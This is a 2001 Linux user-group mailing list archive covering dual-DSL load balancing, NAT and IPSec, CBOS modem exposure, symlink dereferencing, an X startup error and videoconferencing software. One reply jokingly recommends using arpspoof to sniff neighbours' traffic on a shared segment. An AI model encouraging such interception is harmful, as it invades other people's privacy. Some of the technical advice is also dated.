kernel bothers to look at the metric anymore, though. You might be able to set two default routes with a metric of 1 (I know you can't have two with a metric of 0, or it can't be set with the regular tools). This might work better or worse with an IP masquerading gateway in front of the whole mess. Of course, IP masquerading is evil because it breaks nice things like VPN and IPSec. Get your IPv6 addresses while they're hot! (and it'll eventually help with routing in this exact sort of situation, if I understand correctly). -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ I give advice worth the / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ price -- free! \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] From austad at marketwatch.com Wed Aug 8 00:18:08 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:48 2005 Subject: [TCLUG] CBOS 2.4.2 online http://www.mn-linux.org/members/tan ner/ Message-ID: <54180709DD3FE145917BB165AFE7EFA00A8458@mspexch2.office.mktw.net> If you're running in bridging mode, your router is not vulnerable to anything. You can't give it an ip in bridging mode, it simply decapsulates the data the comes in and feeds it out the Ethernet port. The only thing you're vulnerable to in briding mode is other people on your same segment being able to see your windows shares if you have any, and sniffers will sometimes pick up interesting information, especially if you get bored and use arpspoof from the dsniff suite of tools. :) I highly recommend this fun and educational pastime. Jay -----Original Message----- From: Joshua b. Jore [mailto:moomonk@greentechnologist.org] Sent: Tuesday, August 07, 2001 1:58 PM To: Bill Layer Cc: tclug-list@mn-linux.org Subject: Re: [TCLUG] CBOS 2.4.2 online http://www.mn-linux.org/members/tanner/ Thanks for the clarification. I'm certainly no CBOS junkie - I didn't even bother to upgrade from 2.3.something until Sunday. So is there any thing my bridged modem *is* vunerable to? If it isn't ever internet addressable I can't see that joe-random rooted box can even touch the thing and it shouldn't matter what CBOS rev I'm at. Or am I totally off base on this? Joshua Jore Minneapolis Ward 3, precinct 10 "The irony of this man being imprisoned in the United States and longing to return to once-Communist Russia so he can regain his right to free speach is simply staggering." On Tue, 7 Aug 2001, Bill Layer wrote: > On Tue, 7 Aug 2001 06:22:16 -0500 (CDT) > "Joshua b. Jore" wrote: > > > Oh so 2.4.1 isn't code red proof? > > No, it is safe.. you are misreading the infomation. All versions of CBOS < > 2.4.1 are vulnerable... 2.4.1 and 2.4.2 are both fixed.. but I found > another 'issue' in 2.4.2, which I will be posting about shortly. > > > > -.bill.layer.- > > -.those who are talking don't know, and those who know aren't talking.- > > -.frogtown.- -.minnesota.- -.u.s.a.- > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From austad at marketwatch.com Wed Aug 8 00:22:35 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:48 2005 Subject: [TCLUG] internet-connection load-balancing Message-ID: <54180709DD3FE145917BB165AFE7EFA00A8459@mspexch2.office.mktw.net> Forgot to mention, for the cisco pix, you need to allow 500/udp also for IPSec traffic. If anyone knows of anyone looking for a firewall/security consultant, let me know. :) -----Original Message----- From: Austad, Jay [mailto:austad@marketwatch.com] Sent: Wednesday, August 08, 2001 12:13 AM To: 'tclug-list@mn-linux.org' Subject: RE: [TCLUG] internet-connection load-balancing IP masq doesn't break VPN or IPSec, really. You just need to add some extra stuff to your config if you need those. It all depends on what you're using as a NAT box though. You can do it through a linux firewall with the pptp module and the ipsec module. Cisco pix let's you do it as long as you have a static defined for each host (no PAT for the hosts that need it) and a conduit which permits GRE to them, or for IPSec you need conduits to permit ESP and AH. The Cisco 675 lets you do it with a GRE masquerading command, but you can only do it to one host on the inside. -----Original Message----- From: Mike Hicks [mailto:hick0088@tc.umn.edu] Sent: Tuesday, August 07, 2001 7:13 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] internet-connection load-balancing "Marc Ohmann" wrote: > > I am not really trying to gain speed as much as redundancy. However, > along with the redundancy I should be able to serve more requests at a > given moment. Why pay for another line to just sit there for redundancy > sake... I might as well use it too. > > It is also meant as a lesson in load balancing for myself -- if I can do > it with dsl I should be able to apply what I've learned to any link, dsl > just happens to be the cheapest digital link at the moment. Well, I'm not exactly sure what can be done here. Let me try to put together an idea or two, and let the people who know more about routing, etc., say whether this'll work or not. My understanding is that the `metric' flag in the routing table is supposed to denote preference when two different routes to the same place exist (in this case, we're worried about the default route -- the whole Internet). It may be possible to set up each host with two IP addresses per interface (actually, one IP on eth0, then another on eth0:0, or whatever), thereby creating two virtual networks on one physical network. I'm not even sure if the Linux kernel bothers to look at the metric anymore, though. You might be able to set two default routes with a metric of 1 (I know you can't have two with a metric of 0, or it can't be set with the regular tools). This might work better or worse with an IP masquerading gateway in front of the whole mess. Of course, IP masquerading is evil because it breaks nice things like VPN and IPSec. Get your IPv6 addresses while they're hot! (and it'll eventually help with routing in this exact sort of situation, if I understand correctly). -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ I give advice worth the / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ price -- free! \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From zibby+tclug at ringworld.org Wed Aug 8 01:01:26 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:25:48 2005 Subject: [TCLUG] Digital Broadcast revisited In-Reply-To: <20010808.4525700@linwin.mshome.net> Message-ID: > Computer Chronicles used to do this. They'd send batches of shareware > packages by using about 1/3 of the screen. To humans, it just looks like > static. I'm not sure how much stuff got sent. They ran it for about 1-2 > minutes, and while it was going, they would say what was getting > downloaded. I suspect it ended up in the 30-50 MB range. I'm still curious as to how you actually decoded this. Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From andy at theasis.com Wed Aug 8 00:39:09 2001 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:25:49 2005 Subject: [TCLUG] internet-connection load-balancing In-Reply-To: <3B7078FA.50308@qwest.net> Message-ID: > I am not really trying to gain speed as much as redundancy. However, > along with the redundancy I should be able to serve more requests at a > given moment. Why pay for another line to just sit there for redundancy > sake... I might as well use it too. As already pointed out, you won't be able to increase the bandwidth for a single TCP connection, but you can certainly make use of that second link. You might want to think about connecting a single (firewall) box to both connections and using policy routing. See http://www.unixreview.com/articles/2000/0006/0006d/0006d.htm http://www.linuxgrill.com/iproute2.doc.html So, you could direct different data streams to one or the other connection based on source or destination IP, or port number, etc. This is especially helpful if you have multiple users or one user playing with several network-dependent processes. With the basic setup you can download the kernel over one connection while playing games over the other. On top of such a basic policy routing framework, you can build a script that monitors your outgoing connections so that if one is hosed for some reason it can change the routes automatically. Overall, you might learn something about routing. Andy > Thanks, > Marc From dieman+tclug at ringworld.org Wed Aug 8 07:20:55 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:49 2005 Subject: [TCLUG] internet-connection load-balancing In-Reply-To: <54180709DD3FE145917BB165AFE7EFA00A8459@mspexch2.office.mktw.net> Message-ID: <20010808072055.J6692@ringworld.org> * Austad, Jay [010808 00:23]: > Forgot to mention, for the cisco pix, you need to allow 500/udp also for > IPSec traffic. The PIX? Booooo Hissss. /me hugs his 3 Lucent Bricks. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From austad at marketwatch.com Wed Aug 8 09:07:44 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:49 2005 Subject: [TCLUG] internet-connection load-balancing Message-ID: <54180709DD3FE145917BB165AFE7EFA00A8461@mspexch2.office.mktw.net> Bah! Lucent.... :) Actually, have you checked out Netscreen's firewalls? http://www.netscreen.com. The company was started by former Pix developers and some guys from Intel. Very cool stuff. They make everything from personal firewalls for home offices to big enterprise ones. Pricing on the enterprise series is a little higher than Cisco, but they will probably match cisco's price to get you to buy the things, and the performance kicks the crap out of most anything else. My next firewall purchase might be a redundant pair of these, I'll have to see if I can get a demo setup first though. I have a PIX at home, but since you need at least 2 ip's on the external interface to use it, I have to move to a linux firewall when I move into my new place since I only get one dhcp assigned address from my cable modem. Doh. I'll probably install Astaro (http://www.astaro.com) Jay > -----Original Message----- > From: Scott Dier [mailto:dieman+tclug@ringworld.org] > Sent: Wednesday, August 08, 2001 7:21 AM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] internet-connection load-balancing > > > * Austad, Jay [010808 00:23]: > > Forgot to mention, for the cisco pix, you need to allow > 500/udp also > > for IPSec traffic. > > The PIX? Booooo Hissss. > > /me hugs his 3 Lucent Bricks. > > -- > Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From doughanson at mediaone.net Wed Aug 8 09:15:31 2001 From: doughanson at mediaone.net (Doug Hanson) Date: Mon Jan 17 13:25:49 2005 Subject: [TCLUG] Beermeeting August 9th References: <015801c11f86$736f7e90$eaaf7a81@doug> <20010807210137.31a85891.blayer@qwest.net> Message-ID: <006701c12014$98f6cb30$eaaf7a81@doug> I agree... The pizza is great but you scrap the rest. It used to be quite the hangout when it was just a 3.2 pizza joint! What a difference a liquor license can make!!! Now days it is usually packed and can have an hour wait on the weekends. The microbrewery helped bump up the business end and popularity. Speaking of old great games, does anyone know if there is a working Dragon's Lair machine anywhere? There is a Dragon's Lair for the PC project somewhere on the net. Doug ----- Original Message ----- From: "Bill Layer" To: Sent: Tuesday, August 07, 2001 9:01 PM Subject: Re: [TCLUG] Beermeeting August 9th > On Tue, 7 Aug 2001 16:18:05 -0500 > "Doug Hanson" wrote: > > > Suggestion: The Green Mill on Hamline and Grand in St. Paul has a fine > > selection of Micro Brews... (and it's close to my house :)~) > > My mom used to take me to the Mill on Grand, back in the early 70's when > it was still pretty much a dive bar, and Grand Ave. was one of the seedy > parts of St. Paul. I played my first game of pinball there, then my first > game of Atari Pong, Tennis, Hockey, Football and finally... ASTEROIDS!!!! > Later, they also had a Mr. Do and a Dragon's Lair game. > > I'll go to the 'original' Green Mill anytime, but: their menu is as lame > as it is long... The pizza is great, and they should have just left it at > that (IMO). > > Dating hisself, > > -.bill.layer.- > > -.those who are talking don't know, and those who know aren't talking.- > > -.frogtown.- -.minnesota.- -.u.s.a.- > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From natecars at real-time.com Wed Aug 8 09:39:18 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:25:49 2005 Subject: [TCLUG] (no subject) In-Reply-To: <997234401.3b7096e17c84a@www.luths.net> Message-ID: On Tue, 7 Aug 2001 joel@luths.net wrote: > So yes, I was misreading. Thanks guys. I'll have to give this serious thought, > though changing ISPs would be a pain for the web & mail I host. And do I *need* > static IP? Prolly not in these wonderful days of dynamic DNS services, but $10 > might be worth the comfort. We are also almost always running TCLUG Specials.. if you've got questions about our pricing, and you're on the TCLUG mailing list, give us a call or e-mail sales@real-time.com.. trust not the web site. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From loren at ensodex.com Wed Aug 8 10:13:39 2001 From: loren at ensodex.com (Loren Cahlander) Date: Mon Jan 17 13:25:49 2005 Subject: [TCLUG] Beermeeting August 9th In-Reply-To: <006701c12014$98f6cb30$eaaf7a81@doug> Message-ID: Are people going to be at the Green Mill in St. Paul? The web site says: Hops - Eden Prairie. I personally prefer the St. Paul location. Loren Cahlander > -----Original Message----- > From: tclug-list-admin@mn-linux.org > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Doug Hanson > Sent: Wednesday, August 08, 2001 9:16 AM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] Beermeeting August 9th > > > I agree... The pizza is great but you scrap the rest. It used > to be quite > the hangout when it was just a 3.2 pizza joint! What a > difference a liquor > license can make!!! Now days it is usually packed and can have > an hour wait > on the weekends. The microbrewery helped bump up the business end and > popularity. Speaking of old great games, does anyone know if there is a > working Dragon's Lair machine anywhere? There is a Dragon's Lair > for the PC > project somewhere on the net. > > Doug > > ----- Original Message ----- > From: "Bill Layer" > To: > Sent: Tuesday, August 07, 2001 9:01 PM > Subject: Re: [TCLUG] Beermeeting August 9th > > > > On Tue, 7 Aug 2001 16:18:05 -0500 > > "Doug Hanson" wrote: > > > > > Suggestion: The Green Mill on Hamline and Grand in St. Paul > has a fine > > > selection of Micro Brews... (and it's close to my house :)~) > > > > My mom used to take me to the Mill on Grand, back in the early 70's when > > it was still pretty much a dive bar, and Grand Ave. was one of the seedy > > parts of St. Paul. I played my first game of pinball there, > then my first > > game of Atari Pong, Tennis, Hockey, Football and finally... > ASTEROIDS!!!! > > Later, they also had a Mr. Do and a Dragon's Lair game. > > > > I'll go to the 'original' Green Mill anytime, but: their menu is as lame > > as it is long... The pizza is great, and they should have just > left it at > > that (IMO). > > > > Dating hisself, > > > > -.bill.layer.- > > > > -.those who are talking don't know, and those who know aren't talking.- > > > > -.frogtown.- -.minnesota.- -.u.s.a.- > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From jacque at fruitioninc.com Wed Aug 8 10:10:28 2001 From: jacque at fruitioninc.com (Jacqueline Urick) Date: Mon Jan 17 13:25:49 2005 Subject: [TCLUG] Beermeeting August 9th In-Reply-To: Message-ID: This thursday, the 9th, we're going to be meeting at Hops in EP. In the future we may meet at the Green Mill, it was just someone's recommendation after the announcement came out. ~j > -----Original Message----- > From: tclug-list-admin@mn-linux.org > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Loren Cahlander > Sent: Wednesday, August 08, 2001 10:14 AM > To: tclug-list@mn-linux.org > Subject: RE: [TCLUG] Beermeeting August 9th > > > Are people going to be at the Green Mill in St. Paul? The web site says: > Hops - Eden Prairie. I personally prefer the St. Paul location. > > Loren Cahlander > > > -----Original Message----- > > From: tclug-list-admin@mn-linux.org > > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Doug Hanson > > Sent: Wednesday, August 08, 2001 9:16 AM > > To: tclug-list@mn-linux.org > > Subject: Re: [TCLUG] Beermeeting August 9th > > > > > > I agree... The pizza is great but you scrap the rest. It used > > to be quite > > the hangout when it was just a 3.2 pizza joint! What a > > difference a liquor > > license can make!!! Now days it is usually packed and can have > > an hour wait > > on the weekends. The microbrewery helped bump up the business end and > > popularity. Speaking of old great games, does anyone know if there is a > > working Dragon's Lair machine anywhere? There is a Dragon's Lair > > for the PC > > project somewhere on the net. > > > > Doug > > > > ----- Original Message ----- > > From: "Bill Layer" > > To: > > Sent: Tuesday, August 07, 2001 9:01 PM > > Subject: Re: [TCLUG] Beermeeting August 9th > > > > > > > On Tue, 7 Aug 2001 16:18:05 -0500 > > > "Doug Hanson" wrote: > > > > > > > Suggestion: The Green Mill on Hamline and Grand in St. Paul > > has a fine > > > > selection of Micro Brews... (and it's close to my house :)~) > > > > > > My mom used to take me to the Mill on Grand, back in the > early 70's when > > > it was still pretty much a dive bar, and Grand Ave. was one > of the seedy > > > parts of St. Paul. I played my first game of pinball there, > > then my first > > > game of Atari Pong, Tennis, Hockey, Football and finally... > > ASTEROIDS!!!! > > > Later, they also had a Mr. Do and a Dragon's Lair game. > > > > > > I'll go to the 'original' Green Mill anytime, but: their menu > is as lame > > > as it is long... The pizza is great, and they should have just > > left it at > > > that (IMO). > > > > > > Dating hisself, > > > > > > -.bill.layer.- > > > > > > -.those who are talking don't know, and those who know aren't > talking.- > > > > > > -.frogtown.- -.minnesota.- -.u.s.a.- > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@mn-linux.org > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From florin at iucha.net Wed Aug 8 10:22:58 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:25:49 2005 Subject: [TCLUG] Beermeeting August 9th In-Reply-To: ; from loren@ensodex.com on Wed, Aug 08, 2001 at 10:13:39AM -0500 References: <006701c12014$98f6cb30$eaaf7a81@doug> Message-ID: <20010808102258.A30363@beaver.iucha.org> On Wed, Aug 08, 2001 at 10:13:39AM -0500, Loren Cahlander wrote: > Are people going to be at the Green Mill in St. Paul? The web site says: > Hops - Eden Prairie. I personally prefer the St. Paul location. > I prefer the Green Mill at Lexington/694. Maybe we should have a voting web app. It should be biased towards who showed up at the last beer meeting[s] but not much... florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From blayer at qwest.net Wed Aug 8 10:56:56 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:49 2005 Subject: [TCLUG] Definition of 'dereferenced symlink' Message-ID: <20010808105656.691fca04.blayer@qwest.net> Ok, I have once again come across a document that gives a conflicting definition of 'dereferencing' a symlink... I need someone to clear this up, or a consensus would be fine too... In my definition, when a symlink is 'dereferenced' it means that the symlink is treated as a symlink file, and not the file or directory to which it points. Like in the case of the cp -d option, when it encounters a symlink, it makes a copy of the symlink itself, not the file to which the symlink points. To further confuse us, here is a clip from the manual for Gnut (an excellent console Gnutella client for Lin & Win): follow_symlinks - Boolean, defaults to 1. If set, symlinks will be dereferenced (followed) while scanning the files in the search paths. Isn't 'follow' the exact opposite of the standard definition of 'dereferenced'? Am I wrong here? -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From esper at sherohman.org Wed Aug 8 11:07:24 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:49 2005 Subject: [TCLUG] Definition of 'dereferenced symlink' In-Reply-To: <20010808105656.691fca04.blayer@qwest.net>; from blayer@qwest.net on Wed, Aug 08, 2001 at 10:56:56AM -0500 References: <20010808105656.691fca04.blayer@qwest.net> Message-ID: <20010808110723.I5458@sherohman.org> On Wed, Aug 08, 2001 at 10:56:56AM -0500, Bill Layer wrote: > Isn't 'follow' the exact opposite of the standard definition of > 'dereferenced'? Am I wrong here? No. Yes. In this context, 'follow' and 'dereference' are the same thing. A symlink is a reference. To dereference it (remove the reference) is to find what it's pointing at. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From florin at iucha.net Wed Aug 8 11:13:51 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:25:49 2005 Subject: [TCLUG] Definition of 'dereferenced symlink' In-Reply-To: <20010808105656.691fca04.blayer@qwest.net>; from blayer@qwest.net on Wed, Aug 08, 2001 at 10:56:56AM -0500 References: <20010808105656.691fca04.blayer@qwest.net> Message-ID: <20010808111351.C30363@beaver.iucha.org> On Wed, Aug 08, 2001 at 10:56:56AM -0500, Bill Layer wrote: > Ok, I have once again come across a document that gives a conflicting > definition of 'dereferencing' a symlink... I need someone to clear this > up, or a consensus would be fine too... > > In my definition, when a symlink is 'dereferenced' it means that the > symlink is treated as a symlink file, and not the file or directory to > which it points. Like in the case of the cp -d option, when it encounters > a symlink, it makes a copy of the symlink itself, not the file to which > the symlink points. > > To further confuse us, here is a clip from the manual for Gnut (an > excellent console Gnutella client for Lin & Win): > > follow_symlinks - Boolean, defaults to 1. If set, symlinks will be > dereferenced (followed) while scanning the files in the search paths. > > Isn't 'follow' the exact opposite of the standard definition of > 'dereferenced'? Am I wrong here? I do not know specifically about"dereferencing symbolic links", but I assume it's close in meaning to "dereferencing pointers" in C/C++... Dereferencing a pointer means accessing the object pointed to -> so to me "dereferencing a symbolic link" means accessing the object linked to. But I might be wrong... florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From lxy at cloudnet.com Wed Aug 8 11:20:18 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:49 2005 Subject: [TCLUG] Definition of 'dereferenced symlink' In-Reply-To: <20010808105656.691fca04.blayer@qwest.net> Message-ID: On Wed, 8 Aug 2001, Bill Layer wrote: > follow_symlinks - Boolean, defaults to 1. If set, symlinks will be > dereferenced (followed) while scanning the files in the search paths. I agreed with Bill. Than I went here: http://www.dictionary.com/cgi-bin/dict.pl?term=dereference Well Bill, dictionary.com says we're both wrong: " To access the thing to which a pointer points, i.e. to follow the pointer" The funny thing is, it also mentions that you're not the first to ask this: " At first sight the word "dereference" might be thought to mean "to cause to stop referring" but its meaning is well established in jargon." I almost had brain burnout trying to defend my conclusion (which was identical to Bill;'s) , so I figureed when all else fails ask someone who knows. -Brian -------------------------------------------------------------- Those who don't know spend hours to get at the wrong answer. Those who know buy a .com -------------------------------------------------------------- From Phillip.J.Crump at WellsFargo.COM Wed Aug 8 11:20:39 2001 From: Phillip.J.Crump at WellsFargo.COM (Phillip.J.Crump@WellsFargo.COM) Date: Mon Jan 17 13:25:49 2005 Subject: [TCLUG] Startup Error Message-ID: <43353280FCFFD211971E00005801192E06322C1A@msgmsp15.norwest.com> Running Mandrake 7.1 When the system boots up it gets to the screen with the Penguin and then gives me a message "INIT: Id "x" respawning too fast: disabled for 5 minutes Can someone lend assistance?? - Phillip From blutgens at sistina.com Wed Aug 8 11:38:18 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:25:49 2005 Subject: [TCLUG] Startup Error In-Reply-To: <43353280FCFFD211971E00005801192E06322C1A@msgmsp15.norwest.com>; from Phillip.J.Crump@WellsFargo.COM on Wed, Aug 08, 2001 at 09:20:39AM -0700 References: <43353280FCFFD211971E00005801192E06322C1A@msgmsp15.norwest.com> Message-ID: <20010808113818.A10859@minime.sistina.com> On Wed, Aug 08, 2001 at 09:20:39AM -0700, Phillip.J.Crump@WellsFargo.COM wrote: >Running Mandrake 7.1 > >When the system boots up it gets to the screen with the Penguin and then What exactly is the "Screen with the penguin" >gives me a message >"INIT: Id "x" respawning too fast: disabled for 5 minutes Sounds to me like X won't start. Since it's spawned from inittab it keeps trying. Double check to make sure your XF86Config file is correct. Most times X won't start due to a mouse not working. Set your default runlevel to 4 by editing /etc/inittab, try to boot and then login as root and attempt to run "startx" use this method to debug your X configuration, then change your default runlevel back to 5 and try again. HTH -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010808/c7f8b62a/attachment.pgp From Phillip.J.Crump at WellsFargo.COM Wed Aug 8 11:58:41 2001 From: Phillip.J.Crump at WellsFargo.COM (Phillip.J.Crump@WellsFargo.COM) Date: Mon Jan 17 13:25:49 2005 Subject: [TCLUG] Startup Error - Fixed! Message-ID: <43353280FCFFD211971E00005801192E06322C4D@msgmsp15.norwest.com> On Mandrake.. after it goes thru the startup stuff.. you are temporarily presented w/ a screen that has the Pengy on it.. It then was supposed to forward you on to the KDE logon screen.. instead I got that error.. I did a net search and tried a few things (none of which worked) and finally I saw where some guy had the same problem and his disk turned out to be full .. My disk was almost full as well.. I cleaned some things out and it works now.. Thanks anyway - PJ > -----Original Message----- > From: Ben Lutgens [SMTP:blutgens@sistina.com] > Sent: Wednesday, August 08, 2001 11:38 AM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] Startup Error > > On Wed, Aug 08, 2001 at 09:20:39AM -0700, Phillip.J.Crump@WellsFargo.COM > wrote: > >Running Mandrake 7.1 > > > >When the system boots up it gets to the screen with the Penguin and then > > What exactly is the "Screen with the penguin" > > >gives me a message > >"INIT: Id "x" respawning too fast: disabled for 5 minutes > > Sounds to me like X won't start. Since it's spawned from inittab it keeps > trying. > > Double check to make sure your XF86Config file is correct. Most times X > won't start due to a mouse not working. Set your default runlevel to 4 by > editing /etc/inittab, try to boot and then login as root and attempt to > run > "startx" use this method to debug your X configuration, then change your > default runlevel back to 5 and try again. > > HTH > > -- > Ben Lutgens > Sistina Software Inc. > > What's the difference between root and God ? > God doesn't think that he is root. From blayer at qwest.net Wed Aug 8 13:11:21 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:50 2005 Subject: [TCLUG] Definition of 'dereferenced symlink' In-Reply-To: References: <20010808105656.691fca04.blayer@qwest.net> Message-ID: <20010808131121.3dce3a9b.blayer@qwest.net> On Wed, 8 Aug 2001 11:20:18 -0500 (CDT) "Brian" wrote: > Well Bill, dictionary.com says we're both wrong: > " To access the thing to which a pointer points, i.e. to > follow the pointer" Ok, you'll love this.. I was basing my belief on the fact that the cp -d option allows you to copy actual symlinks, rather than the files to which they point. Heh, here is a clip from the cp manpage: -d, --no-dereference Copy symbolic links as symbolic links rather than copying the files that they point to, and preserve hard links between source files in the copies. Lol! -d doesn't mean 'dereference' it means 'no dereference'; silly, silly me. Sigh. -.bill.layer.- -.Hi, how are you? I set you up this flag to not dereference your symlink.- -.frogtown.- -.minnesota.- -.u.s.a.- From amy at real-time.com Wed Aug 8 13:24:11 2001 From: amy at real-time.com (Amy Tanner) Date: Mon Jan 17 13:25:50 2005 Subject: [TCLUG] netmeeting-type software for linux Message-ID: <20010808132411.I12372@real-time.com> is there anything similar in functionality to net meeting that runs on linux? i'm looking for a web cam + software that will provide audio & video - don't need the white board/business type features. i'll need to support windows clients too. send URLs if you have them. thanks! -- Amy Tanner amy@real-time.com From zibby+tclug at ringworld.org Wed Aug 8 13:51:11 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:25:50 2005 Subject: [TCLUG] netmeeting-type software for linux In-Reply-To: <20010808132411.I12372@real-time.com> Message-ID: Open H323. http://www.openh323.org/ Should woke with Netmeeting on the Windows side. FYI: H323 + NAT sucks. Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From seg at haxxed.com Wed Aug 8 14:00:51 2001 From: seg at haxxed.com (Callum Lerwick) Date: Mon Jan 17 13:25:50 2005 Subject: [TCLUG] Source for POS displays? Message-ID: <3B718C63.1020506@haxxed.com> Just wondering if anyone's spotted any little POS (as in Point of Sale ;) VGA displays for sale cheap anywhere. Usually 9" and monochrome. I'd like one or two to play with. Heh. From amy at real-time.com Wed Aug 8 14:14:19 2001 From: amy at real-time.com (Amy Tanner) Date: Mon Jan 17 13:25:50 2005 Subject: [TCLUG] netmeeting-type software for linux In-Reply-To: ; from zibby+tclug@ringworld.org on Wed, Aug 08, 2001 at 01:51:11PM -0500 References: <20010808132411.I12372@real-time.com> Message-ID: <20010808141419.N12372@real-time.com> On Wed, Aug 08, 2001 at 01:51:11PM -0500, Andy Zbikowski (Zibby) (zibby+tclug@ringworld.org) wrote: > Open H323. > http://www.openh323.org/ > > Should woke with Netmeeting on the Windows side. FYI: H323 + NAT sucks. Thanks - another luger pointed out www.gnomemeeting.org which uses openh323 Anyone tried this? -- Amy Tanner amy@real-time.com From austad at marketwatch.com Wed Aug 8 14:31:14 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:50 2005 Subject: [TCLUG] netmeeting-type software for linux Message-ID: <54180709DD3FE145917BB165AFE7EFA00A8476@mspexch2.office.mktw.net> H323 -- Yet another protocol where the designers don't think about operation through firewalls. > -----Original Message----- > From: Andy Zbikowski (Zibby) [mailto:zibby+tclug@ringworld.org] > Sent: Wednesday, August 08, 2001 1:51 PM > To: Amy Tanner > Cc: tclug-list@mn-linux.org > Subject: Re: [TCLUG] netmeeting-type software for linux > > > Open H323. > http://www.openh323.org/ > > Should woke with Netmeeting on the Windows side. FYI: H323 + > NAT sucks. > > Andrew S. Zbikowski | http://www.ringworld.org > "We can learn much more from wise words, little > from wisecracks and less from wise guys." > --William Arthur Ward > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From austad at marketwatch.com Wed Aug 8 14:33:48 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:50 2005 Subject: [TCLUG] Source for POS displays? Message-ID: <54180709DD3FE145917BB165AFE7EFA00A8477@mspexch2.office.mktw.net> Ebay. There's a guy that's usually selling color touchscreens about that size for $300 each. They have a copper colored frame around the outside. I haven't purchased one yet though. Otherwise, there are plenty of 9" grayscale lcd's on there. > -----Original Message----- > From: Callum Lerwick [mailto:seg@haxxed.com] > Sent: Wednesday, August 08, 2001 2:01 PM > To: tclug-list@mn-linux.org > Subject: [TCLUG] Source for POS displays? > > > Just wondering if anyone's spotted any little POS (as in > Point of Sale > ;) VGA displays for sale cheap anywhere. Usually 9" and > monochrome. I'd > like one or two to play with. Heh. > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From zibby+tclug at ringworld.org Wed Aug 8 14:47:00 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:25:50 2005 Subject: Web Cams and Linux (Was RE: [TCLUG] netmeeting-type software for linux) In-Reply-To: 